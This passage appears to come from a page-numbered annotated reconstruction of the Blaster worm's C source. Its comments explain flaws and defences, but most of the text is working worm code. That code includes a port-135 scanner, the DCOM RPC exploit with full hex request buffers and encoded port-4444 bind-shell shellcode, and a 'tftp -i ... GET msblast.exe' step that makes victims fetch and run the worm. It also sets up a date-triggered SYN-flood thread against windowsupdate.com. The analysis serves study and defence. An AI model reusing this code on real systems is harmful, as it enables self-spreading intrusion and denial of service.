atoi(p_addr_item); p_addr_item = strtok(0, "."); ClassB = atoi(p_addr_item); p_addr_item = strtok(0, "."); ClassC = atoi(p_addr_item); if (ClassC > 20) { /* When starting from victim's address range, * try to start a little bit behind. This is * important because the scanning logic only * move forward. */ srand(GetTickCount()); ClassC -= (rand() % 20); } local_class_a = ClassA; local_class_b = ClassB; scan_local = TRUE; }

62

} /* * This chooses whether Blaster will scan just the local * network (40% chance) or a random network (60% chance) */ srand(GetTickCount()); if ((rand() % 20) < 12) scan_local = FALSE; /* * The known exploits require the hacker to indicate whether * the victim is WinXP or Win2k. The worm has to guess. The * way it guesses is that it chooses randomly. 80% of the time * it will assume that all victims are WinXP, and 20% of the * time it will assume all victims are Win2k. This means that * propogation among Win2k machines will be slowed down by * the fact Win2k machines are getting DoSed faster than they * are getting exploited. */ winxp1_or_win2k2 = 1; if ((rand()%10) > 7) winxp1_or_win2k2 = 2; /* * If not scanning locally, then choose a random IP address * to start with. * BUG: this worm choose bad ranges above 224. This will * cause a bunch of unnecessary multicast traffic. Weird * multicast traffic has historically been an easy way of * detecting worm activity. */ if (!scan_local) { ClassA = (rand() % 254)+1; ClassB = (rand() % 254); ClassC = (rand() % 254); } /* * Check the date so that when in the certain range, it will * trigger a DoS attack against Micosoft. The following * times will trigger the DoS attack: * Aug 16 through Aug 31 * Spt 16 through Spt 30 * Oct 16 through Oct 31 * Nov 16 through Nov 30 * Dec 16 through Dec 31 * This applies to all years, and is based on local time. * FAQ: The worm is based on "local", not "global" time. * That means the DoS attack will start from Japan, * then Asia, then Europe, then the United States as the * time moves across the globe. */ #define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT) #define LOCALE_409 MAKELCID(MYLANG, SORT_DEFAULT) GetDateFormat( LOCALE_409, 0, NULL, /*localtime, not GMT*/ "d", daystring, sizeof(daystring)); GetDateFormat( LOCALE_409, 0, NULL, /*localtime, not GMT*/ "M", monthstring, sizeof(monthstring)); if (atoi(daystring) > 15 && atoi(monthstring) > 8) CreateThread(NULL, 0,

63

blaster_DoS_thread, 0, 0, &ThreadId); /* * As the final task of the program, go into worm mode * trying to infect systems. */ for (;;) blaster_spreader(); /* * It'll never reach this point, but in theory, you need a * WSACleanup() after a WSAStartup(). */ WSACleanup(); } /* * This will be called from CreateThread in the main worm body * right after it connects to port 4444. After the thread is * started, it then sends the string " * tftp -i %d.%d.%d.%d GET msblast.exe" (where the %ds represents * the IP address of the attacker). * Once it sends the string, it then waits for 20 seconds for the * TFTP server to end. If the TFTP server doesn't end, it calls * TerminateThread. */ DWORD WINAPI blaster_tftp_thread(LPVOID p) { /* * This is the protocol format of a TFTP packet. This isn't * used in the code -- I just provide it here for reference */ struct TFTP_Packet { short opcode; short block_id; char data[512]; }; char reqbuf[512]; /* request packet buffer */ struct sockaddr_in server; /* server-side port number */ struct sockaddr_in client; /* client IP address and port */ int sizeof_client; /* size of the client structure*/ char rspbuf[512]; /* response packet */ static int fd; /* the socket for the server*/ register FILE *fp; register block_id; register int block_size; /* Set a flag indicating this thread is running. The other * thread will check this for 20 seconds to see if the TFTP * service is still alive. If this thread is still alive in * 20 seconds, it will be killed. */ is_tftp_running = TRUE; /*1 == TRUE*/ /* Create a server-socket to listen for UDP requests on */ fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd == SOCKET_ERROR) goto closesocket_and_exit; /* Bind the socket to 69/udp */ memset(&server, 0, sizeof(server)); server.sin_family = AF_INET; server.sin_port = htons(TFTP_PORT_69); server.sin_addr.s_addr = 0; /*TFTP server addr = <any>*/ if (bind(fd, (struct sockaddr*)&server, sizeof(server)) != 0)

64

goto closesocket_and_exit; /* Receive a packet, any packet. The contents of the received * packet are ignored. This means, BTW, that a defensive * "worm-kill" could send a packet from somewhere else. This * will cause the TFTP server to download the msblast.exe * file to the wrong location, preventing the victim from * doing the download. */ sizeof_client = sizeof(client); if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0, (struct sockaddr*)&client, &sizeof_client) <= 0) goto closesocket_and_exit; /* The TFTP server will respond with many 512 byte blocks * until it has completely sent the file; each block must * have a unique ID, and each block must be acknowledged. * BUFORD: The worm ignores TFTP ACKs. This is probably why * the worm restarts the TFTP service rather than leaving it * enabled: it essentially flushes all the ACKs from the * the incoming packet queue. If the ACKs aren't flushed, * the worm will incorrectly treat them as TFTP requests. */ block_id = 0; /* Open this file. GetModuleFilename was used to figure out * this filename. */ fp = fopen(msblast_filename, "rb"); if (fp == NULL) goto closesocket_and_exit; /* Continue sending file fragments until none are left */ for (;;) { block_id++; /* Build TFTP header */ #define TFTP_OPCODE_DATA 3 *(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA); *(short*)(rspbuf+2)= htons((short)block_id); /* Read next block of data (about 12 blocks total need * to be read) */ block_size = fread(rspbuf+4, 1, 512, fp); /* Increase the effective length to include the TFTP * head built above */ block_size += 4; /* Send this block */ if (sendto(fd, (char*)&rspbuf, block_size, 0, (struct sockaddr*)&client, sizeof_client) <= 0) break; /* Sleep for a bit. * The reason for this is because the worm doesn't care * about retransmits -- it therefore must send these * packets slow enough so congestion doesn't drop them. * If it misses a packet, then it will DoS the victim * without actually infecting it. Worse: the intended * victim will continue to send packets, preventing the * worm from infecting new systems because the * requests will misdirect TFTP. This design is very * bad, and is my bet as the biggest single factor * that slows down the worm. */ Sleep(900); /* File transfer ends when the last block is read, which * will likely be smaller than a full-sized block*/ if (block_size != sizeof(rspbuf)) { fclose(fp); fp = NULL; break;

65

} } if (fp != NULL) fclose(fp); closesocket_and_exit: /* Notify that the thread has stopped, so that the waiting * thread can continue on */ is_tftp_running = FALSE; closesocket(fd); ExitThread(0); return 0; } /* * This function increments the IP address. * BUFORD: This conversion from numbers, to strings, then back * to number is overly complicated. Experienced programmers * would simply store the number and increment it. This shows * that Buford does not have much experience work with * IP addresses. */ void blaster_increment_ip_address() { for (;;) { if (ClassD <= 254) { ClassD++; return; } ClassD = 0; ClassC++; if (ClassC <= 254) return; ClassC = 0; ClassB++; if (ClassB <= 254) return; ClassB = 0; ClassA++; if (ClassA <= 254) continue; ClassA = 0; return; } } /* * This is called from the main() function in an * infinite loop. It scans the next 20 addresses, * then exits. */ void blaster_spreader() { fd_set writefds; register int i; struct sockaddr_in sin; struct sockaddr_in peer; int sizeof_peer; int sockarray[20]; int opt = 1; const char *victim_ip;

66

/* Create the beginnings of a "socket-address" structure that * will be used repeatedly below on the 'connect()' call for * each socket. This structure specified port 135, which is * the port used for RPC/DCOM. */ memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(MSRCP_PORT_135); /* Create an array of 20 socket descriptors */ for (i=0; i<20; i++) { sockarray[i] = socket(AF_INET, SOCK_STREAM, 0); if (sockarray[i] == -1) return; ioctlsocket(sockarray[i], FIONBIO , &opt); } /* Initiate a "non-blocking" connection on all 20 sockets * that were created above. * FAQ: Essentially, this means that the worm has 20 * "threads" -- even though they aren't true threads. */ for (i=0; i<20; i++) { int ip; blaster_increment_ip_address(); sprintf(target_ip_string, "%i.%i.%i.%i", ClassA, ClassB, ClassC, ClassD); ip = inet_addr(target_ip_string); if (ip == -1) return; sin.sin_addr.s_addr = ip; connect(sockarray[i],(struct sockaddr*)&sin,sizeof(sin)); } /* Wait 1.8-seconds for a connection. * BUG: this is often not enough, especially when a packet * is lost due to congestion. A small timeout actually makes * the worm slower than faster */ Sleep(1800); /* Now test to see which of those 20 connections succeeded. * BUFORD: a more experienced programmer would have done * a single 'select()' across all sockets rather than * repeated calls for each socket. */ for (i=0; i<20; i++) { struct timeval timeout; int nfds; timeout.tv_sec = 0; timeout.tv_usec = 0; nfds = 0; FD_ZERO(&writefds); FD_SET((unsigned)sockarray[i], &writefds); if (select(0, NULL, &writefds, NULL, &timeout) != 1) { closesocket(sockarray[i]); } else { sizeof_peer = sizeof(peer); getpeername(sockarray[i], (struct sockaddr*)&peer, &sizeof_peer); victim_ip = inet_ntoa(peer.sin_addr); /* If connection succeeds, exploit the victim */ blaster_exploit_target(sockarray[i], victim_ip); closesocket(sockarray[i]); } } }

67

/* * This is where the victim is actually exploited. It is the same * exploit as created by xfocus and altered by HDMoore. * There are a couple of differences. The first is that the in * those older exploits, this function itself would create the * socket and connect, whereas in Blaster, the socket is already * connected to the victim via the scanning function above. The * second difference is that the packets/shellcode blocks are * declared as stack variables rather than as static globals. * Finally, whereas the older exploits give the hacker a * "shell prompt", this one automates usage of the shell-prompt * to tell the victim to TFTP the worm down and run it. */ void blaster_exploit_target(int sock, const char *victim_ip) { /* These blocks of data are just the same ones copied from the * xfocus exploit prototype. Whereas the original exploit * declared these as "static" variables, Blaster declares * these as "stack" variables. This is because the xfocus * exploit altered them -- they must be reset back to their * original values every time. */ unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46, 0x00,0x00,0x00,0x00, 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; unsigned char request1[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00

68

,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00

69

,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; unsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x5C,0x00,0x5C,0x00}; unsigned char request3[]={ 0x5C,0x00 ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00

70

,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; unsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x46\x00\x58\x00" "\xff\xff\xff\xff" /* return address */ "\xcc\xe0\xfd\x7f" /* primary thread data block */ "\xcc\xe0\xfd\x7f" /* primary thread data block */ /* port 4444 bindshell */ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff" "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2" "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80" "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09" "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6" "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf" "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad" "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81" "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81" "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80" "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80" "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80" "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80" "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80" "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81" "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6" "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3" "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50" "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4" "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4" "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4" "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f" "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b" "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80" "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89" "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80" "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83" "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83" "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78" "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c" "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b" "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04"; unsigned char request4[]={ 0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C

71

,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; int ThreadId; int len; int sizeof_sa; int ret; int opt; void *hThread; struct sockaddr_in target_ip; struct sockaddr_in sa; int fd; char cmdstr[0x200]; int len1; unsigned char buf2[0x1000]; int i; /* * Turn off non-blocking (i.e. re-enable blocking mode) * DEFENSE: Tarpit programs (e.g. 'labrea' or 'deredoc') * will slow down the spread of this worm. It takes a long * time for blocking calls to timeout. I had several * thousand worms halted by my 'deredoc' tarpit. */ opt = 0; ioctlsocket(sock, FIONBIO , &opt); /* * Choose whether the exploit targets Win2k or WinXP. */ if (winxp1_or_win2k2 == 1) ret = 0x100139d; else ret = 0x18759f; memcpy(sc+36, (unsigned char *) &ret, 4); /* ---------------------------------------------- * This section is just copied from the original exploit * script. This is the same as the scripts that have been * widely published on the Internet. */ len=sizeof(sc); memcpy(buf2,request1,sizeof(request1)); len1=sizeof(request1); *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2; *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2; memcpy(buf2+len1,request2,sizeof(request2)); len1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); memcpy(buf2+len1,request3,sizeof(request3)); len1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4)); len1=len1+sizeof(request4); *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;

72

*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc; if (send(sock,bindstr,sizeof(bindstr),0)== -1) { //perror("- Send"); return; } if (send(sock,buf2,len1,0)== -1) { //perror("- Send"); return; } closesocket(sock); Sleep(400); /* ----------------------------------------------*/ /* * This section of code connects to the victim on port 4444. * DEFENSE : This means you can block this worm by blocking * TCP port 4444. * FAQ: This port is only open for the brief instant needed * to exploit the victim. Therefore, you can't scan for * port 4444 in order to find Blaster victims. */ if ((fd=socket(AF_INET,SOCK_STREAM,0)) == -1) return; memset(&target_ip, 0, sizeof(target_ip)); target_ip.sin_family = AF_INET; target_ip.sin_port = htons(SHELL_PORT_4444); target_ip.sin_addr.s_addr = inet_addr(victim_ip); if (target_ip.sin_addr.s_addr == SOCKET_ERROR) return; if (connect(fd, (struct sockaddr*)&target_ip, sizeof(target_ip)) == SOCKET_ERROR) return; /* * This section recreates the IP address from whatever IP * address this successfully connected to. In practice, * the strings "victim_ip" and "target_ip_string" should be * the same. */ memset(target_ip_string, 0, sizeof(target_ip_string)); sizeof_sa = sizeof(sa); getsockname(fd, (struct sockaddr*)&sa, &sizeof_sa); sprintf(target_ip_string, "%d.%d.%d.%d", sa.sin_addr.s_net, sa.sin_addr.s_host, sa.sin_addr.s_lh, sa.sin_addr.s_impno); /* * This section creates a temporary TFTP service that is * ONLY alive during the period of time that the victim * needs to download. * FAQ: You can't scan for TFTP in order to find Blaster * victims because the port is rarely open. */ if (fd_tftp_service) closesocket(fd_tftp_service); hThread = CreateThread(0,0, blaster_tftp_thread,0,0,&ThreadId); Sleep(80); /*give time for thread to start*/ /* * This sends the command * tftp -i 1.2.3.4 GET msblast.exe

73

* to the victim. The "tftp.exe" program is built into * Windows. It's intended purpose is to allow users to * manually update their home wireless access points with * new software (and other similar tasks). However, it is * not intended as a generic file-transfer protocol (it * stands for "trivial-file-transfer-protocol" -- it is * intended for only trivial tasks). Since a lot of hacker * exploits use the "tftp.exe" program, a good hardening * step is to remove/rename it. */ sprintf(cmdstr, "tftp -i %s GET %s\n", target_ip_string, MSBLAST_EXE); if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0) goto closesocket_and_return; /* * Wait 21 seconds for the victim to request the file, then * for the file to be delivered via TFTP. */ Sleep(1000); for (i=0; i<10 && is_tftp_running; i++) Sleep(2000); /* * Assume the the transfer is successful, and send the * command to start executing the newly downloaded program. * BUFORD: The hacker starts this twice. Again, it * demonstrates a lock of confidence, so he makes sure it's * started by doing it twice in slightly different ways. * Note that the "BILLY" mutex will prevent from actually * running twice. */ sprintf(cmdstr, "start %s\n", MSBLAST_EXE); if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0) goto closesocket_and_return; Sleep(2000); sprintf(cmdstr, "%s\n", MSBLAST_EXE); send(fd, cmdstr, strlen(cmdstr), 0); Sleep(2000); /* * This section closes the things started in this procedure */ closesocket_and_return: /* Close the socket for the remote command-prompt that has * been established to the victim. */ if (fd != 0) closesocket(fd); /* Close the TFTP server that was launched above. As noted, * this means that the TFTP service is not running most of * the time, so it's not easy to scan for infected systems. */ if (is_tftp_running) { TerminateThread(hThread,0); closesocket(fd_tftp_service); is_tftp_running = 0; } CloseHandle(hThread); } /** * Convert the name into an IP address. If the IP address * is formatted in decimal-dot-notation (e.g. 192.2.0.43), * then return that IP address, otherwise do a DNS lookup * on the address. Note that in the case of the worm, * it always gives the string "windowsupdate.com" to this * function, and since Microsoft turned off that name,

74

* the DNS lookup will usually fail, so this function * generally returns -1 (SOCKET_ERROR), which means the * address 255.255.255.255. */ int blaster_resolve_ip(const char *windowsupdate_com) { int result; result = inet_addr(windowsupdate_com); if (result == SOCKET_ERROR) { HOSTENT *p_hostent = gethostbyname(windowsupdate_com); if (p_hostent == NULL) result = SOCKET_ERROR; else result = *p_hostent->h_addr; } return result; } /* * This thre */ ULONG WINAPI blaster_DoS_thread(LPVOID p) { int opt = 1; int fd; int target_ip; /* Lookup the domain-name. Note that no checking is done * to ensure that the name is valid. Since Microsoft turned * this off in their domain-name servers, this function now * returns -1. */ target_ip = blaster_resolve_ip("windowsupdate.com"); /* Create a socket that the worm will blast packets at * Microsoft from. This is what is known as a "raw" socket. * So-called "raw-sockets" are ones where packets are * custom-built by the programmer rather than by the TCP/IP * stack. Note that raw-sockets were not available in Windows * until Win2k. A cybersecurity pundit called Microsoft * "irresponsible" for adding them. * <http://grc.com/dos/sockettome.htm> * That's probably an * unfairly harsh judgement (such sockets are available in * every other OS), but it's true that it puts the power of * SYNflood attacks in the hands of lame worm writers. While * the worm-writer would probably have chosen a different * DoS, such as Slammer-style UDP floods, it's likely that * Buford wouldn't have been able to create a SYNflood if 